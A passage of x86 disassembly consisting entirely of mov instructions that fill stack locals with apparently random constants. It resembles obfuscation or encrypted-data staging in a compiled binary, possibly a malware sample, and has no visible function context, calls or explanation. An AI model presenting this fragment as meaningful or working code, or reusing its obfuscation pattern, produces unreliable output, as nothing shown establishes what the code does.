mov ecx, 0x3f1
mov word [ebp - 0xf58], cx
mov dword [ebp - 0x45d8], 0x4b77bd16
mov dword [ebp - 0x45dc], 0x6bf788dd
mov dword [ebp - 0x45e0], 0x73b9d683
mov dword [ebp - 0x45e4], 0x3a5202c
mov dword [ebp - 0x45e8], 0x4f47824b
mov dword [ebp - 0x45ec], 0x1086350d
mov dword [ebp - 0x45f0], 0x6b6a36ac
mov dword [ebp - 0x45f4], 0x311b8965
mov dword [ebp - 0x45f8], 0x532b47c0
mov dword [ebp - 0x45fc], 0x427c09e1
mov dword [ebp - 0x4600], 0x238e82bf
mov dword [ebp - 0x4604], 0x32930f
mov dword [ebp - 0x4608], 0xa9f893eb
mov byte [ebp - 0x7f], 0x76
mov byte [ebp - 0x80], 0xb6
mov dword [ebp - 0x460c], 0xe02b551
mov edx, 2
mov word [ebp - 0xf5c], dx
mov eax, 0x7f2b
mov word [ebp - 0xf60], ax
mov dword [ebp - 0x4610], 0x7cde79ba
mov dword [ebp - 0x4614], 0x35ed3c58
mov ecx, 0x385b
mov word [ebp - 0xf64], cx
mov dword [ebp - 0x4618], 0x4b429e86
mov dword [ebp - 0x461c], 0x69f34d0f
mov edx, 0x3f8f
mov word [ebp - 0xf68], dx
mov byte [ebp - 0x81], 0x22
mov byte [ebp - 0x82], 0x19
mov dword [ebp - 0x4620], 0x32c54af5
mov dword [ebp - 0x4624], 0x475e95f6
mov dword [ebp - 0x4628], 0x6e6ea219
mov dword [ebp - 0x462c], 0x52536f0c
mov dword [ebp - 0x4630], 0x399c94b0
mov dword [ebp - 0x4634], 0x3fa8fa71
mov dword [ebp - 0x4638], 0x52ca114c
mov dword [ebp - 0x463c], 0x412ddfcd
mov eax, 0xf29
mov word [ebp - 0xf6c], ax
mov byte [ebp - 0x83], 0x6f
mov dword [ebp - 0x4640], 0x945e65fb
mov byte [ebp - 0x84], 0x74
mov ecx, 0x451
mov word [ebp - 0xf70], cx
mov byte [ebp - 0x85], 0xd
mov dword [ebp - 0x4644], 0x7c51dcab
mov byte [ebp - 0x86], 0x1d
mov edx, 0xf17
mov word [ebp - 0xf74], dx
mov dword [ebp - 0x4648], 0x9a4183f7
mov eax, 0xb8b
mov word [ebp - 0xf78], ax
mov ecx, 0x23f3
mov word [ebp - 0xf7c], cx
mov edx, 0x5f32
mov word [ebp - 0xf80], dx
mov dword [ebp - 0x464c], 0x3d7a175a
mov byte [ebp - 0x87], 0xe0
mov dword [ebp - 0x4650], 0x2d138620
mov byte [ebp - 0x88], 0x9e
mov dword [ebp - 0x4654], 0x2e76bc9d
mov byte [ebp - 0x89], 0xd0
mov dword [ebp - 0x4658], 0x1a6991fa
mov eax, 0xccb
mov word [ebp - 0xf84], ax
mov dword [ebp - 0x465c], 0x25b11f22
mov dword [ebp - 0x4660], 0x182dd6a2
mov dword [ebp - 0x4664], 0xeaebcd50
mov dword [ebp - 0x4668], 0xcac7450c
mov dword [ebp - 0x466c], 0x356dbf66
mov byte [ebp - 0x8a], 0x6a
mov dword [ebp - 0x4670], 0x39f77dd4
mov byte [ebp - 0x8b], 0xca
mov byte [ebp - 0x8c], 0xa2
mov dword [ebp - 0x4674], 0xaebc896d
mov byte [ebp - 0x8d], 0x73
mov dword [ebp - 0x4678], 0x53dac03c
mov dword [ebp - 0x467c], 0x4c046d5d
mov dword [ebp - 0x4680], 0x5e07d801
mov byte [ebp - 0x8e], 0x31
mov byte [ebp - 0x8f], 0x92
mov ecx, 0x637
mov word [ebp - 0xf88], cx
mov dword [ebp - 0x4684], 0x79b19ec5
mov dword [ebp - 0x4688], 0x34fffda2
mov dword [ebp - 0x468c], 0x7695410d
mov byte [ebp - 0x90], 0x44
mov edx, 0x1a27
mov word [ebp - 0xf8c], dx
mov dword [ebp - 0x4690], 0xf05db3a5
mov dword [ebp - 0x4694], 0x392338d8
mov dword [ebp - 0x4698], 0x13e18d4b
mov eax, 0xe3d
mov word [ebp - 0xf90], ax
mov dword [ebp - 0x469c], 0x315245ef
mov ecx, 0xc6c
mov word [ebp - 0xf94], cx
mov dword [ebp - 0x46a0], 0x2d4f0c82
mov dword [ebp - 0x46a4], 0x7478205e
mov dword [ebp - 0x46a8], 0xa00fe2d
mov byte [ebp - 0x91], 0x74
mov dword [ebp - 0x46ac], 0x5a098dc1
mov edx, 0x764
mov word [ebp - 0xf98], dx
mov eax, 0xd70
mov word [ebp - 0xf9c], ax
mov byte [ebp - 0x92], 0x17
mov ecx, 0x4aa
mov word [ebp - 0xfa0], cx
mov edx, 0xce1
mov word [ebp - 0xfa4], dx
mov dword [ebp - 0x46b0], 0x416695b2
mov dword [ebp - 0x46b4], 0x8c6e543
mov dword [ebp - 0x46b8], 0x407547d5
mov dword [ebp - 0x46bc], 0x805e2eb7
mov dword [ebp - 0x46c0], 0x33ec3069
mov eax, 0x214
mov word [ebp - 0xfa8], ax
mov dword [ebp - 0x46c4], 0x7018461
mov byte [ebp - 0x93], 0x64
mov dword [ebp - 0x46c8], 0x26da1830
mov byte [ebp - 0x94], 0x9d
mov ecx, 0xbec
mov word [ebp - 0xfac], cx
mov byte [ebp - 0x95], 0x5d
mov dword [ebp - 0x46cc], 0x2f4ebeb5
mov dword [ebp - 0x46d0], 0xd8869d86
mov dword [ebp - 0x46d4], 0x3ba30235
mov dword [ebp - 0x46d8], 0x1cb52321
mov dword [ebp - 0x46dc], 0x3e359baf
mov dword [ebp - 0x46e0], 0xda8e0cd1
mov byte [ebp - 0x96], 0x3a
mov byte [ebp - 0x97], 0x59
mov byte [ebp - 0x98], 0xbc
mov dword [ebp - 0x46e4], 0x1d6c44d2
mov dword [ebp - 0x46e8], 0x7cd876e7
mov byte [ebp - 0x99], 0xb8
mov dword [ebp - 0x46ec], 0x64416827
mov dword [ebp - 0x46f0], 0x5bf4d514
mov edx, 0x106
mov word [ebp - 0xfb0], dx
mov dword [ebp - 0x46f4], 0xa5aff20
mov byte [ebp - 0x9a], 0x3d
mov byte [ebp - 0x9b], 0x10
mov byte [ebp - 0x9c], 0xe8
mov dword [ebp - 0x46f8], 0x2bc80f68
mov dword [ebp - 0x46fc], 0xd9c69747
mov dword [ebp - 0x4700], 0x3e6178d1
mov dword [ebp - 0x4704], 0x2fe571ea
mov byte [ebp - 0x9d], 0x13
mov eax, 0xe18
mov word [ebp - 0xfb4], ax
mov dword [ebp - 0x4708], 0xa1a1f542
mov byte [ebp - 0x9e], 0xb1
mov dword [ebp - 0x470c], 0x6d82c35e
mov dword [ebp - 0x4710], 0x5aa40f92
mov dword [ebp - 0x4714], 0x1cdeda9a
mov byte [ebp - 0x9f], 0x54
mov ecx, 0x392
mov word [ebp - 0xfb8], cx
mov dword [ebp - 0x4718], 0x38a1c466
mov dword [ebp - 0x471c], 0x4a208fa2
mov byte [ebp - 0xa0], 0x87
mov dword [ebp - 0x4720], 0x9e760170
mov dword [ebp - 0x4724], 0x5ba6679d
mov byte [ebp - 0xa1], 0x40
mov dword [ebp - 0x4728], 0x7ce84d07
mov byte [ebp - 0xa2], 0xf9
mov dword [ebp - 0x472c], 0x55a01d73
mov dword [ebp - 0x4730], 0x2e377742
mov dword [ebp - 0x4734], 0x636fdcdd
mov edx, 0xf23
mov word [ebp - 0xfbc], dx
mov byte [ebp - 0xa3], 0x47
mov dword [ebp - 0x4738], 0x59a44eda
mov dword [ebp - 0x473c], 0x740b2e8c
mov dword [ebp - 0x4740], 0x3e997607
mov dword [ebp - 0x4744], 0x2ab3a320
mov dword [ebp - 0x4748], 0x6e3ef36b
mov byte [ebp - 0xa4], 0x77
mov eax, 0x128
mov word [ebp - 0xfc0], ax
mov dword [ebp - 0x474c], 0xe95a21cf
mov dword [ebp - 0x4750], 0x777af50f
mov ecx, 0x3c79
mov word [ebp - 0xfc4], cx
mov byte [ebp - 0xa5], 0x51
mov edx, 0x6c93
mov word [ebp - 0xfc8], dx
mov dword [ebp - 0x4754], 0x530f953e
mov eax, 0xd3
mov word [ebp - 0xfcc], ax
mov byte [ebp - 0xa6], 0x26
mov dword [ebp - 0x4758], 0x76f01dab
mov byte [ebp - 0xa7], 0xf5
mov byte [ebp - 0xa8], 0xb5
mov byte [ebp - 0xa9], 0
mov dword [ebp - 0x475c], 0x1ed14f73
mov dword [ebp - 0x4760], 0x4be3ba6a
mov byte [ebp - 0xaa], 0x99
mov byte [ebp - 0xab], 0x31
mov byte [ebp - 0xac], 0x27
mov dword [ebp - 0x4764], 0xe6162f7a
mov dword [ebp - 0x4768], 0x10bcb7d1
mov dword [ebp - 0x476c], 0x5d91df2a
mov ecx, 0x46e
mov word [ebp - 0xfd0], cx
mov dword [ebp - 0x4770], 0x32aec080
mov dword [ebp - 0x4774], 0x42bd56cd
mov edx, 0xdc
mov word [ebp - 0xfd4], dx
mov dword [ebp - 0x4778], 0x4870d1f1
mov byte [ebp - 0xad], 5
mov dword [ebp - 0x477c], 0x65438d94
mov dword [ebp - 0x4780], 0xa9d8d7d
mov eax, 0xb0c
mov word [ebp - 0xfd8], ax
mov dword [ebp - 0x4784], 0x13b8b9f7
mov ecx, 0xcd7
mov word [ebp - 0xfdc], cx
mov dword [ebp - 0x4788], 0x3df0e949
mov dword [ebp - 0x478c], 0x10a0b683
mov dword [ebp - 0x4790], 0x6d2786dc
mov byte [ebp - 0xae], 0x55
mov byte [ebp - 0xaf], 0x3b
mov byte [ebp - 0xb0], 0x50
mov edx, 0x7ba
mov word [ebp - 0xfe0], dx
mov eax, 0x73
mov word [ebp - 0xfe4], ax
mov dword [ebp - 0x4794], 0x45333ec4
mov dword [ebp - 0x4798], 0x64686190
mov dword [ebp - 0x479c], 0x45d83bcf
mov byte [ebp - 0xb1], 0xf2
mov ecx, 0xa95
mov word [ebp - 0xfe8], cx
mov byte [ebp - 0xb2], 0x4d
mov dword [ebp - 0x47a0], 0x1174ccab
mov dword [ebp - 0x47a4], 0xcae07c02
mov edx, 0x51fa
mov word [ebp - 0xfec], dx
mov eax, 0x2f9
mov word [ebp - 0xff0], ax
mov ecx, 0x1ad
mov word [ebp - 0xff4], cx
mov dword [ebp - 0x47a8], 0x4e86d404
mov edx, 0x2c7
mov word [ebp - 0xff8], dx
mov byte [ebp - 0xb3], 0x50
mov dword [ebp - 0x47ac], 0x34662b29
mov byte [ebp - 0xb4], 0x26
mov dword [ebp - 0x47b0], 0xdd87968d
mov byte [ebp - 0xb5], 0x7b
mov dword [ebp - 0x47b4], 0x5846fa77
mov dword [ebp - 0x47b8], 0xe364957e
mov dword [ebp - 0x47bc], 0x5337b81b
mov byte [ebp - 0xb6], 0x90
mov byte [ebp - 0xb7], 0xcf
mov dword [ebp - 0x47c0], 0x3b4911f0
mov dword [ebp - 0x47c4], 0x47fe671a
mov eax, 0xc4b
mov word [ebp - 0xffc], ax
mov dword [ebp - 0x47c8], 0x9d8bef18
mov byte [ebp - 0xb8], 0x56
mov dword [ebp - 0x47cc], 0xc27225ed
mov dword [ebp - 0x47d0], 0x6b875a5e
mov byte [ebp - 0xb9], 0xf6
mov ecx, 0xb8
mov word [ebp - 0x1000], cx
mov edx, 0xa97
mov word [ebp - 0x1004], dx
mov byte [ebp - 0xba], 0xc5
mov byte [ebp - 0xbb], 0x32
mov eax, 0xa1c
mov word [ebp - 0x1008], ax
mov dword [ebp - 0x47d4], 0x80d08e10
mov byte [ebp - 0xbc], 0xce
mov byte [ebp - 0xbd], 0xdb
mov dword [ebp - 0x47d8], 0x3394cebf
mov ecx, 0xa0b
mov word [ebp - 0x100c], cx
mov dword [ebp - 0x47dc], 0x35f178dc
mov dword [ebp - 0x47e0], 0x3fe2092e
mov edx, 0x7ad0
mov word [ebp - 0x1010], dx
mov dword [ebp - 0x47e4], 0x687e5939
mov dword [ebp - 0x47e8], 0xb5f925ee
mov dword [ebp - 0x47ec], 0x1bda11ad
mov dword [ebp - 0x47f0], 0x51952da2
mov dword [ebp - 0x47f4], 0x3c9556d2
mov eax, 0x67b
mov word [ebp - 0x1014], ax
mov dword [ebp - 0x47f8], 0x1d27a112
mov byte [ebp - 0xbe], 0x46
mov dword [ebp - 0x47fc], 0xd9f68ab
mov dword [ebp - 0x4800], 0x23faf561
mov dword [ebp - 0x4804], 0x26d25114
mov dword [ebp - 0x4808], 0x866dd4f9
mov dword [ebp - 0x480c], 0x33e2792
mov byte [ebp - 0xbf], 0x62
mov byte [ebp - 0xc0], 0x84
mov dword [ebp - 0x4810], 0x7b837af1
mov dword [ebp - 0x4814], 0x3c450da0
mov ecx, 0x535
mov word [ebp - 0x1018], cx
mov dword [ebp - 0x4818], 0x94309e30
mov byte [ebp - 0xc1], 0xb
mov dword [ebp - 0x481c], 0x2a3f0834
mov byte [ebp - 0xc2], 0xf4
mov dword [ebp - 0x4820], 0x575dbc2d
mov dword [ebp - 0x4824], 0x2b7a5be7
mov dword [ebp - 0x4828], 0xfb725b1
mov byte [ebp - 0xc3], 0xb9
mov edx, 0x7ee8
mov word [ebp - 0x101c], dx
mov eax, 0x3dd
mov word [ebp - 0x1020], ax
mov ecx, 0x65c
mov word [ebp - 0x1024], cx
mov byte [ebp - 0xc4], 0x5a
mov byte [ebp - 0xc5], 0x4a
mov edx, 0x648f
mov word [ebp - 0x1028], dx
mov eax, 0x5a2
mov word [ebp - 0x102c], ax
mov ecx, 0x1475
mov word [ebp - 0x1030], cx
mov dword [ebp - 0x482c], 0x35f57a8c
mov byte [ebp - 0xc6], 0x61
mov edx, 0x569
mov word [ebp - 0x1034], dx
mov dword [ebp - 0x4830], 0x4ec5ff8e
mov dword [ebp - 0x4834], 0x3d4f1b53
mov eax, 0xb7c
mov word [ebp - 0x1038], ax
mov ecx, 0xf55
mov word [ebp - 0x103c], cx
mov edx, 0xb3a
mov word [ebp - 0x1040], dx
mov dword [ebp - 0x4838], 0x74bbf048
mov dword [ebp - 0x483c], 0xd1927266
mov eax, 0xe79
mov word [ebp - 0x1044], ax
mov dword [ebp - 0x4840], 0x168f00e4
mov ecx, 0xab
mov word [ebp - 0x1048], cx
mov dword [ebp - 0x4844], 0x160317dd
mov dword [ebp - 0x4848], 0x3d6d04ce
mov byte [ebp - 0xc7], 0xc6
mov dword [ebp - 0x484c], 0x6abac6f1
mov dword [ebp - 0x4850], 0x139dc4aa
mov edx, 0xfa8
mov word [ebp - 0x104c], dx
mov dword [ebp - 0x4854], 0x57516376
mov dword [ebp - 0x4858], 0xf4b4c16a
mov dword [ebp - 0x485c], 0xef4c4b7f
mov eax, 0x3151
mov word [ebp - 0x1050], ax
mov ecx, 0x4959
mov word [ebp - 0x1054], cx
mov dword [ebp - 0x4860], 0x1c4e01db
mov dword [ebp - 0x4864], 0x654cb3c0
mov dword [ebp - 0x4868], 0x4c4e6953
mov dword [ebp - 0x486c], 0x1c98f2a0
mov byte [ebp - 0xc8], 0xa6
mov byte [ebp - 0xc9], 0xbd
mov edx, 0x8ff
mov word [ebp - 0x1058], dx
mov dword [ebp - 0x4870], 0x34e9319f
mov dword [ebp - 0x4874], 0xc7533d45
mov dword [ebp - 0x4878], 0x94ee1029
mov dword [ebp - 0x487c], 0x7a2c8294
mov byte [ebp - 0xca], 0xbd
mov dword [ebp - 0x4880], 0x7541de63
mov dword [ebp - 0x4884], 0x412e54c0
mov dword [ebp - 0x4888], 0x467e01a4
mov dword [ebp - 0x488c], 0x2f69911f
mov dword [ebp - 0x4890], 0x78bdde5d
mov dword [ebp - 0x4894], 0xa0d91f4
mov dword [ebp - 0x4898], 0x486f7116
mov eax, 0x71d
mov word [ebp - 0x105c], ax
mov ecx, 0xb30
mov word [ebp - 0x1060], cx
mov edx, 0x1ad
mov word [ebp - 0x1064], dx
mov byte [ebp - 0xcb], 0x70
mov dword [ebp - 0x489c], 0xa1a08208
mov dword [ebp - 0x48a0], 0x78f68f3b
mov byte [ebp - 0xcc], 0x65
mov byte [ebp - 0xcd], 0x92
mov dword [ebp - 0x48a4], 0xf10fc7ca
mov dword [ebp - 0x48a8], 0x6f2d0df7
mov dword [ebp - 0x48ac], 0x16b37179
mov dword [ebp - 0x48b0], 0xa11c2f6b
mov byte [ebp - 0xce], 0xd7
mov dword [ebp - 0x48b4], 0x1b77f666
mov dword [ebp - 0x48b8], 0x36560b35
mov dword [ebp - 0x48bc], 0xf84709
mov dword [ebp - 0x48c0], 0x61274d67
mov byte [ebp - 0xcf], 0x2a
mov dword [ebp - 0x48c4], 0xbe790617
mov byte [ebp - 0xd0], 0xc8
mov byte [ebp - 0xd1], 0x8e
mov dword [ebp - 0x48c8], 0x17cfcb0a
mov dword [ebp - 0x48cc], 0xb1ce43ce
mov dword [ebp - 0x48d0], 0x22c8b03a
mov dword [ebp - 0x48d4], 0x75a54793
mov byte [ebp - 0xd2], 0xce
mov byte [ebp - 0xd3], 0xf2
mov dword [ebp - 0x48d8], 0x61b9068f
mov byte [ebp - 0xd4], 0x4e
mov dword [ebp - 0x48dc], 0x7b0f8567
mov eax, 0x2fa3
mov word [ebp - 0x1068], ax
mov dword [ebp - 0x48e0], 0x72626408
mov dword [ebp - 0x48e4], 0x48ea1945
mov dword [ebp - 0x48e8], 0x5d274e36
mov byte [ebp - 0xd5], 0xa5
mov ecx, 0x237
mov word [ebp - 0x106c], cx
mov edx, 0xdc
mov word [ebp - 0x1070], dx
mov dword [ebp - 0x48ec], 0x90babd3
mov eax, 0xbc5
mov word [ebp - 0x1074], ax
mov ecx, 0x1cd
mov word [ebp - 0x1078], cx
mov dword [ebp - 0x48f0], 0x56811ccf
mov dword [ebp - 0x48f4], 0x4d5527c8
mov dword [ebp - 0x48f8], 0xd92bb6cd
mov dword [ebp - 0x48fc], 0x20a7c69e
mov dword [ebp - 0x4900], 0x5ffa0a73
mov dword [ebp - 0x4904], 0x1c91bef4
mov dword [ebp - 0x4908], 0x7efe5855
mov dword [ebp - 0x490c], 0x5a9d65a1
mov byte [ebp - 0xd6], 0xbd
mov edx, 0x12be
mov word [ebp - 0x107c], dx
mov dword [ebp - 0x4910], 0x48599911
mov dword [ebp - 0x4914], 0x2908e7e6
mov dword [ebp - 0x4918], 0x6c3aee5f
mov dword [ebp - 0x491c], 0xf871be29
mov eax, 0x48ef
mov word [ebp - 0x1080], ax
mov byte [ebp - 0xd7], 0xf
mov byte [ebp - 0xd8], 0x37
mov ecx, 0xff1
mov word [ebp - 0x1084], cx
mov edx, 0x2f1f
mov word [ebp - 0x1088], dx
mov dword [ebp - 0x4920], 0xd70f1c15
mov byte [ebp - 0xd9], 0xe
mov dword [ebp - 0x4924], 0x5004ade1
mov eax, 0xf8e
mov word [ebp - 0x108c], ax
mov byte [ebp - 0xda], 0xc8
mov dword [ebp - 0x4928], 0x482b411b
mov byte [ebp - 0xdb], 0x45
mov ecx, 0xd75
mov word [ebp - 0x1090], cx
mov dword [ebp - 0x492c], 0x1a7e10cf
mov dword [ebp - 0x4930], 0x47092a91
mov dword [ebp - 0x4934], 0xfe806a62
mov dword [ebp - 0x4938], 0x32fc0334
mov dword [ebp - 0x493c], 0x9caa7ce
mov dword [ebp - 0x4940], 0x5248e2de
mov edx, 0x828
mov word [ebp - 0x1094], dx
mov byte [ebp - 0xdc], 0x5e
mov dword [ebp - 0x4944], 0x61974a15
mov dword [ebp - 0x4948], 0xe411c85b
mov eax, 0xacc
mov word [ebp - 0x1098], ax
mov dword [ebp - 0x494c], 0x17111ccd
mov byte [ebp - 0xdd], 0x8c
mov dword [ebp - 0x4950], 0x6b353085
mov ecx, 0x5823
mov word [ebp - 0x109c], cx
mov byte [ebp - 0xde], 0x9e
mov byte [ebp - 0xdf], 0xf8
mov dword [ebp - 0x4954], 0x350f90f3
mov edx, 0x24f
mov word [ebp - 0x10a0], dx
mov byte [ebp - 0xe0], 0x5b
mov dword [ebp - 0x4958], 0x3d3d5bf9
mov eax, 0x4907
mov word [ebp - 0x10a4], ax
mov byte [ebp - 0xe1], 0x7e
mov byte [ebp - 0xe2], 0x9a
mov ecx, 0x1be
mov word [ebp - 0x10a8], cx
mov edx, 0xf39
mov word [ebp - 0x10ac], dx
mov dword [ebp - 0x495c], 0xaa689c8f
mov dword [ebp - 0x4960], 0x60dc9eff
mov dword [ebp - 0x4964], 0x9a231c2b
mov eax, 0x29cd
mov word [ebp - 0x10b0], ax
mov dword [ebp - 0x4968], 0x6ebe6fc9
mov dword [ebp - 0x496c], 0x483b0f5f
mov dword [ebp - 0x4970], 0x47efe403
mov ecx, 0x792
mov word [ebp - 0x10b4], cx
mov byte [ebp - 0xe3], 0xda
mov dword [ebp - 0x4974], 0x61e2292a
mov dword [ebp - 0x4978], 0x7eaa8101
mov edx, 1
mov word [ebp - 0x10b8], dx
mov dword [ebp - 0x497c], 0x1863a410
mov dword [ebp - 0x4980], 0x7d450082
mov dword [ebp - 0x4984], 0x52ee6c3f
mov dword [ebp - 0x4988], 0x4363a369
mov eax, 0xfe9
mov word [ebp - 0x10bc], ax
mov dword [ebp - 0x498c], 0x6258cfae
mov dword [ebp - 0x4990], 0x4aa40e30
mov byte [ebp - 0xe4], 0xbb
mov dword [ebp - 0x4994], 0x403f31b5
mov dword [ebp - 0x4998], 0x95be3b3
mov dword [ebp - 0x499c], 0xbd695d09
mov dword [ebp - 0x49a0], 0x1217de9a
mov dword [ebp - 0x49a4], 0x75e263a6
mov dword [ebp - 0x49a8], 0xd962f814
mov ecx, 0xd18
mov word [ebp - 0x10c0], cx
mov edx, 0x91a
mov word [ebp - 0x10c4], dx
mov dword [ebp - 0x49ac], 0x61f88620
mov dword [ebp - 0x49b0], 0xc4c5924c
mov byte [ebp - 0xe5], 0xfd
mov dword [ebp - 0x49b4], 0x6eb5c864
mov dword [ebp - 0x49b8], 0x1adf255b
mov dword [ebp - 0x49bc], 0x1fceb2e9
mov eax, 0x8c5
mov word [ebp - 0x10c8], ax
mov ecx, 0x357f
mov word [ebp - 0x10cc], cx
mov dword [ebp - 0x49c0], 0x9d787ca
mov dword [ebp - 0x49c4], 0x319f1062
mov dword [ebp - 0x49c8], 0x2ddb0e95
mov byte [ebp - 0xe6], 0x8c
mov dword [ebp - 0x49cc], 0x7a3c44ca
mov byte [ebp - 0xe7], 0xd9
mov dword [ebp - 0x49d0], 0xd8dbaef1
mov dword [ebp - 0x49d4], 0x6a3493f8
mov dword [ebp - 0x49d8], 0x422b54de
mov dword [ebp - 0x49dc], 0xb5f01abf
mov dword [ebp - 0x49e0], 0x3f4eec32
mov byte [ebp - 0xe8], 0xaa
mov edx, 0x6752
mov word [ebp - 0x10d0], dx
mov dword [ebp - 0x49e4], 0x4ea76ac8
mov eax, 0x4d9
mov word [ebp - 0x10d4], ax
mov dword [ebp - 0x49e8], 0x4275bdb6
mov byte [ebp - 0xe9], 0xd
mov byte [ebp - 0xea], 0xb7
mov dword [ebp - 0x49ec], 0x39c89a85
mov dword [ebp - 0x49f0], 0x70b05107
mov byte [ebp - 0xeb], 0x57
mov byte [ebp - 0xec], 0x93
mov dword [ebp - 0x49f4], 0x45bcdaf0
mov dword [ebp - 0x49f8], 0x6a4ae52e
mov ecx, 0x456
mov word [ebp - 0x10d8], cx
mov dword [ebp - 0x49fc], 0xd502607
mov dword [ebp - 0x4a00], 0x55f80fa0
mov byte [ebp - 0xed], 0x36
mov dword [ebp - 0x4a04], 0x6cec8125
mov edx, 0xfe0
mov word [ebp - 0x10dc], dx
mov eax, 0x49a
mov word [ebp - 0x10e0], ax
mov ecx, 0x850
mov word [ebp - 0x10e4], cx
mov dword [ebp - 0x4a08], 0x81d2f039
mov dword [ebp - 0x4a0c], 0xc8e24792
mov dword [ebp - 0x4a10], 0x88ef2e0
mov edx, 0x75f9
mov word [ebp - 0x10e8], dx
mov dword [ebp - 0x4a14], 0x23e94f11
mov eax, 0xc4c
mov word [ebp - 0x10ec], ax
mov dword [ebp - 0x4a18], 0x779a82da
mov dword [ebp - 0x4a1c], 0xa7362792
mov ecx, 0xc6
mov word [ebp - 0x10f0], cx
mov byte [ebp - 0xee], 0x15
mov dword [ebp - 0x4a20], 0x4a1787a4
mov dword [ebp - 0x4a24], 0xf457c658
mov dword [ebp - 0x4a28], 0x65d913b8
mov dword [ebp - 0x4a2c], 0x364f4c76
mov dword [ebp - 0x4a30], 0x3d94006
mov dword [ebp - 0x4a34], 0x4cbf219c
mov byte [ebp - 0xef], 0x49
mov byte [ebp - 0xf0], 0x35
mov dword [ebp - 0x4a38], 0x2c67274c
mov edx, 0x2a98
mov word [ebp - 0x10f4], dx
mov dword [ebp - 0x4a3c], 0xe4402dd
mov dword [ebp - 0x4a40], 0x86125cbf
mov byte [ebp - 0xf1], 0x6c
mov dword [ebp - 0x4a44], 0x6915ccec
mov byte [ebp - 0xf2], 6
mov dword [ebp - 0x4a48], 0xde923417
mov dword [ebp - 0x4a4c], 0x3727991c
mov dword [ebp - 0x4a50], 0x77ed58c7
mov eax, 0x65f
mov word [ebp - 0x10f8], ax
mov ecx, 0xd45
mov word [ebp - 0x10fc], cx
mov edx, 0x3c1e
mov word [ebp - 0x1100], dx
mov dword [ebp - 0x4a54], 0x739f383b
mov dword [ebp - 0x4a58], 0x1b9e4017
mov eax, 0x7106
mov word [ebp - 0x1104], ax
mov byte [ebp - 0xf3], 0x86
mov dword [ebp - 0x4a5c], 0x4eb0eb31
mov dword [ebp - 0x4a60], 0xa8b0d789
mov ecx, 0x2445
mov word [ebp - 0x1108], cx
mov edx, 0x2bab
mov word [ebp - 0x110c], dx
mov eax, 0xf77
mov word [ebp - 0x1110], ax
mov ecx, 0x348
mov word [ebp - 0x1114], cx
mov byte [ebp - 0xf4], 0x3a
mov dword [ebp - 0x4a64], 0x5e391437
mov dword [ebp - 0x4a68], 0x7625b58
mov byte [ebp - 0xf5], 0x34
mov byte [ebp - 0xf6], 0x3b
mov edx, 0x52c3
mov word [ebp - 0x1118], dx
mov eax, 0x5ca
mov word [ebp - 0x111c], ax
mov byte [ebp - 0xf7], 0x6c
mov dword [ebp - 0x4a6c], 0x5943e55
mov byte [ebp - 0xf8], 0x48
mov dword [ebp - 0x4a70], 0xd1faa4c4
mov byte [ebp - 0xf9], 0x2a
mov dword [ebp - 0x4a74], 0x75a572ee
mov byte [ebp - 0xfa], 0x5d
mov byte [ebp - 0xfb], 0x56
mov dword [ebp - 0x4a78], 0x7beea114
mov ecx, 0xc04
mov word [ebp - 0x1120], cx
mov dword [ebp - 0x4a7c], 0x52943324
mov edx, 0x771
mov word [ebp - 0x1124], dx
mov dword [ebp - 0x4a80], 0x616ae255
mov dword [ebp - 0x4a84], 0x5442c0fb
mov dword [ebp - 0x4a88], 0x77772174
mov dword [ebp - 0x4a8c], 0x23fc2351
mov eax, 0x5b7
mov word [ebp - 0x1128], ax
mov dword [ebp - 0x4a90], 0x3bc0cd4e
mov dword [ebp - 0x4a94], 0xecb71409
mov byte [ebp - 0xfc], 0xa7
mov byte [ebp - 0xfd], 0xdc
mov dword [ebp - 0x4a98], 0x4dbe8ad4
mov byte [ebp - 0xfe], 0x3b
mov dword [ebp - 0x4a9c], 0xa8c9676b
mov byte [ebp - 0xff], 0xf3
mov byte [ebp - 0x100], 0xe6
mov dword [ebp - 0x4aa0], 0x5f5845f0
mov dword [ebp - 0x4aa4], 0x72dd0843
mov dword [ebp - 0x4aa8], 0x7eb0cf53
mov byte [ebp - 0x101], 0x7c
mov dword [ebp - 0x4aac], 0x67fe7302
mov dword [ebp - 0x4ab0], 0x49eb858a
mov ecx, 0x17c
mov word [ebp - 0x112c], cx
mov byte [ebp - 0x102], 0x16
mov edx, 0xe6f
mov word [ebp - 0x1130], dx
mov dword [ebp - 0x4ab4], 0x9721fdd9
mov dword [ebp - 0x4ab8], 0x4530552d
mov dword [ebp - 0x4abc], 0x7a5f2323
mov eax, 0x96e
mov word [ebp - 0x1134], ax
mov dword [ebp - 0x4ac0], 0x80c7c427
mov ecx, 0x78a
mov word [ebp - 0x1138], cx
mov dword [ebp - 0x4ac4], 0x636bbc34
mov dword [ebp - 0x4ac8], 0x77b8f757
mov byte [ebp - 0x103], 0x53
mov dword [ebp - 0x4acc], 0xaeb570e
mov dword [ebp - 0x4ad0], 0x1a415150
mov dword [ebp - 0x4ad4], 0x24235d2c
mov dword [ebp - 0x4ad8], 0x609a2f98
mov dword [ebp - 0x4adc], 0x70cb0f5b
mov dword [ebp - 0x4ae0], 0x227934bc
mov edx, 0x1e4
mov word [ebp - 0x113c], dx
mov dword [ebp - 0x4ae4], 0x68a84dff
mov byte [ebp - 0x104], 0x9d
mov dword [ebp - 0x4ae8], 0xbd3582b0
mov dword [ebp - 0x4aec], 0x9fdf1e6
mov byte [ebp - 0x105], 0xc1
mov dword [ebp - 0x4af0], 0x176190de
mov dword [ebp - 0x4af4], 0x7a8f38ce
mov dword [ebp - 0x4af8], 0x11db3996
mov dword [ebp - 0x4afc], 0x1056fb13
mov byte [ebp - 0x106], 0xed
mov eax, 0x85b
mov word [ebp - 0x1140], ax
mov byte [ebp - 0x107], 0xed
mov dword [ebp - 0x4b00], 0x1d3ff3c7
mov dword [ebp - 0x4b04], 0x6f8b872a
mov dword [ebp - 0x4b08], 0xfebecd13
mov ecx, 0xbc7
mov word [ebp - 0x1144], cx
mov edx, 0x4da
mov word [ebp - 0x1148], dx
mov dword [ebp - 0x4b0c], 0x9c193173
mov byte [ebp - 0x108], 0xc3
mov dword [ebp - 0x4b10], 0x2b3bd852
mov eax, 0x310
mov word [ebp - 0x114c], ax
mov dword [ebp - 0x4b14], 0xd2ea9688
mov ecx, 0x1d53
mov word [ebp - 0x1150], cx
mov edx, 0x185
mov word [ebp - 0x1154], dx
mov dword [ebp - 0x4b18], 0x3b41412c
mov byte [ebp - 0x109], pe_nt_image_headers32
mov dword [ebp - 0x4b1c], 0x49af0212
mov byte [ebp - 0x10a], 4
mov byte [ebp - 0x10b], 0xef
mov eax, 0x8ab
